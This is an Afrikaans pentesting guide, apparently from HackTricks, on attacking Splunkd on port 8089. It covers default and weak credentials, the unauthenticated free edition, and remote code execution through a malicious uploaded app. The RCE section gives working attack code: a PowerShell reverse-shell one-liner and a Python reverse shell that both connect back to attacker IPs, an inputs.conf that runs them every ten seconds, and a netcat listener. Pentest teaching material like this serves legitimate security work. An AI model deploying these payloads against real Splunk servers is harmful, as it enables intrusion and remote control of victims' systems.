8089 - Pentesting Splunkd

Support HackTricks

Basiese Inligting

Splunk is 'n log analise hulpmiddel wat 'n belangrike rol speel in die versameling, analise en visualisering van data. Terwyl die aanvanklike doel nie was om as 'n SIEM (Security Information and Event Management) hulpmiddel te dien nie, het dit gewildheid verwerf in die gebied van sekuriteitsmonitering en besigheidsanalise.

Splunk-implementasies word gereeld gebruik om sensitiewe data te stoor en kan dien as 'n waardevolle bron van inligting vir potensiële aanvallers as hulle daarin slaag om die stelsel te kompromitteer. Standaard poort: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Die Splunk webbediener loop standaard op poort 8000.

Enumerasie

Gratis Weergawe

Die Splunk Enterprise proefweergawe omskakel na 'n gratis weergawe na 60 dae, wat nie outentisering vereis nie. Dit is nie ongewoon dat stelselsadministrateurs 'n proef van Splunk installeer om dit te toets nie, wat daarna vergeet word. Dit sal outomaties omskakel na die gratis weergawe wat geen vorm van outentisering het nie, wat 'n sekuriteitsgat in die omgewing inbring. Sommige organisasies mag vir die gratis weergawe kies weens begrotingsbeperkings, sonder om die implikasies van die afwesigheid van gebruikers-/rolbestuur ten volle te verstaan.

Standaard Kredensiale

Op ouer weergawes van Splunk is die standaard kredensiale admin:changeme, wat gerieflik op die aanmeldbladsy vertoon word. Egter, die nuutste weergawe van Splunk stel kredensiale tydens die installasieproses in. As die standaard kredensiale nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos admin, Welcome, Welcome1, Password123, ens.

Verkry Inligting

Sodra jy by Splunk aangemeld is, kan ons data blaai, verslae uitvoer, dashboards skep, toepassings van die Splunkbase biblioteek installeer, en pasgemaakte toepassings installeer. Jy kan ook kode uitvoer: Splunk het verskeie maniere om kode uit te voer, soos bediener-kant Django toepassings, REST eindpunte, geskrifte insette, en waarskuwingskripte. 'n Algemene metode om afstandskode-uitvoering op 'n Splunk-bediener te verkry, is deur die gebruik van 'n geskrifte inset.

Boonop, aangesien Splunk op Windows of Linux gasheer geïnstalleer kan word, kan geskrifte insette geskep word om Bash, PowerShell, of Batch skripte uit te voer.

Shodan

  • Splunk bou

RCE

Skep Pasgemaakte Toepassing

'n Pasgemaakte toepassing kan Python, Batch, Bash, of PowerShell skripte uitvoer. Let daarop dat Splunk met Python geïnstalleer kom, so selfs in Windows stelsels sal jy in staat wees om python kode uit te voer.

Jy kan hierdie Splunk pakket gebruik om ons te help. Die bin gids in hierdie repo het voorbeelde vir Python en PowerShell. Kom ons loop deur dit stap-vir-stap.

Om dit te bereik, moet ons eers 'n pasgemaakte Splunk toepassing skep met die volgende gidsstruktuur:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Die bin gids sal enige scripts wat ons van plan is om te loop bevat (in hierdie geval, 'n PowerShell omgekeerde skulp), en die standaardgids sal ons inputs.conf lêer hê. Ons omgekeerde skulp sal 'n PowerShell een-liner wees:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Die inputs.conf lêer vertel Splunk watter skrip uit te voer en enige ander voorwaardes. Hier stel ons die app as geaktiveer en sê vir Splunk om die skrip elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die invoer (skrip) sal slegs loop as hierdie instelling teenwoordig is.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Ons het die .bat-lêer nodig, wat sal loop wanneer die toepassing ontplooi word en die PowerShell een-liner sal uitvoer.

Die volgende stap is om Install app from file te kies en die toepassing op te laai.

Voordat ons die kwaadwillige pasgemaakte toepassing op laai, laat ons 'n luisteraar begin met Netcat of socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Op die Upload app bladsy, klik op blaai, kies die tarball wat ons vroeër geskep het en klik Upload. So binne-in ons die toepassing op te laai, sal 'n reverse shell ontvang word aangesien die status van die toepassing outomaties na Enabled verander.

Linux

As ons met 'n Linux-gasheer te doen gehad het, sou ons die rev.py Python-skrip moes wysig voordat ons die tarball skep en die pasgemaakte kwaadwillige toepassing op laai. Die res van die proses sou dieselfde wees, en ons sou 'n reverse shell-verbinding op ons Netcat luisteraar kry en aan die gang wees.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

In die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te verhoog en volharding te verkry:

Splunk LPE and Persistence

References

Support HackTricks

Last updated